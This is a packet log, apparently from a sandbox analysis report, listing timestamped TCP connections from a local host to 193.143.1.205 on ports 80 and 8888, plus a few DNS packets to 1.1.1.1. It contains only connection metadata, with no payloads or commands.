Jan 11, 2025 04:00:42.477741957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.477765083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477766037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.477780104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477797031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477804899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.477813005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477830887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477845907 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.477848053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477865934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477869987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.477915049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.478518963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.478543997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.478559017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.478574038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.478588104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.478590965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.478607893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.478615999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.478624105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.478640079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.478652954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.478656054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.478671074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.478683949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.478686094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.478703022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.478715897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.478718996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.478734970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.478749990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.478754044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.478777885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.479290009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.479305983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.479331017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.479334116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.479346991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.479365110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.479371071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.479401112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.480971098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.489861012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.489880085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.489942074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.489959002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.489999056 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.490019083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.490104914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490120888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490139008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490185022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.490257978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490272999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490289927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490317106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.490331888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.490422010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490448952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490464926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490480900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490498066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490509033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.490525007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490534067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.490541935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490565062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.490896940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490912914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490930080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490945101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.490967989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.490999937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.517656088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.517674923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.517708063 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.517826080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.517842054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.517894030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.517900944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.517915964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.517934084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.517944098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.517973900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.535223961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.535274982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.535293102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.535342932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.535382032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.535398006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.535415888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.535542965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.535543919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.535619020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.535635948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.535653114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.535669088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.535686016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.535686016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.535702944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.535720110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.535721064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.535762072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.535937071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.535984993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.549011946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.549029112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.549046040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.549081087 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.549137115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.549154043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.549170971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.549190998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.549211979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.549277067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.566735029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.566761017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.566780090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.566795111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.566838980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.566873074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.566890001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.566909075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.566925049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.566939116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.566941023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.566958904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.566977978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.567018032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567023039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.567045927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567154884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.567198038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567215919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567289114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.567306042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567339897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567357063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567373991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567392111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567399025 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.567409992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567420006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.567445993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.567564011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567579985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567599058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567619085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567620039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.567656994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.567707062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567722082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567750931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567769051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567781925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.567785978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.567809105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.568007946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568026066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568041086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568052053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.568079948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.568083048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568101883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568118095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568134069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568140984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.568149090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568166971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568178892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.568191051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568205118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.568515062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568531990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568548918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568562031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.568569899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568593025 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.568680048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568696022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568711996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568722010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.568728924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568746090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568758965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.568762064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568778992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568783998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.568794012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568810940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568824053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.568826914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.568850994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.569298983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569322109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569336891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569345951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.569355011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569370985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569379091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.569386959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569403887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569411039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.569417953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569436073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569452047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569453001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.569469929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569474936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.569485903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569509029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569519043 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.569530964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569547892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569550991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.569565058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569583893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569588900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.569622040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.569886923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569905996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.569966078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.570959091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.580491066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.580547094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.580563068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.580614090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.580759048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.580775976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.580791950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.580810070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.580811977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.580833912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.580945969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.580961943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.580976963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.580987930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.580992937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.581010103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.581022978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.581047058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.581197977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.581213951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.581254005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.608278036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.608304024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.608320951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.608347893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.608366966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.608375072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.608400106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.608443022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.608474970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.608491898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.610985041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.625758886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.625775099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.625792027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.625825882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.625996113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.626012087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.626028061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.626044035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.626056910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.626070023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.626229048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.626245022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.626260042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.626276016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.626286030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.626293898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.626313925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.626326084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.626473904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.626504898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.626565933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.639704943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.639731884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.639750004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.639765978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.639786005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.639802933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.639820099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.639822960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.639858007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.657397032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.657461882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.657478094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.657495975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.657527924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.657542944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.657546997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.657591105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.657663107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.657721996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.657737970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.657754898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.657771111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.657784939 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.657788038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.657809019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.657831907 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.658001900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.658019066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.658034086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.658050060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.658063889 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.658093929 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.658211946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.658226013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.658241987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.658261061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.658267021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.658274889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.658314943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:43.142280102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:44.198127985 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:44.203365088 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:44.203454971 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:44.203598976 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:44.208429098 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:45.036705017 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:45.080719948 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:45.345088959 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 04:02:46.557307959 CET	56682	53	192.168.2.7	1.1.1.1
Jan 11, 2025 04:02:46.562160015 CET	53	56682	1.1.1.1	192.168.2.7
Jan 11, 2025 04:02:46.562266111 CET	56682	53	192.168.2.7	1.1.1.1
Jan 11, 2025 04:02:46.562266111 CET	56682	53	192.168.2.7	1.1.1.1
Jan 11, 2025 04:02:46.567101002 CET	53	56682	1.1.1.1	192.168.2.7
Jan 11, 2025 04:02:47.015680075 CET	53	56682	1.1.1.1	192.168.2.7
Jan 11, 2025 04:02:47.015964031 CET	56682	53	192.168.2.7	1.1.1.1
Jan 11, 2025 04:02:47.021224022 CET	53	56682	1.1.1.1	192.168.2.7
Jan 11, 2025 04:02:47.021292925 CET	56682	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:00:57.131577015 CET	51851	53	192.168.2.7	1.1.1.1
Jan 11, 2025 04:01:21.225502014 CET	50212	53	192.168.2.7	1.1.1.1
Jan 11, 2025 04:02:46.556561947 CET	53	54904	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
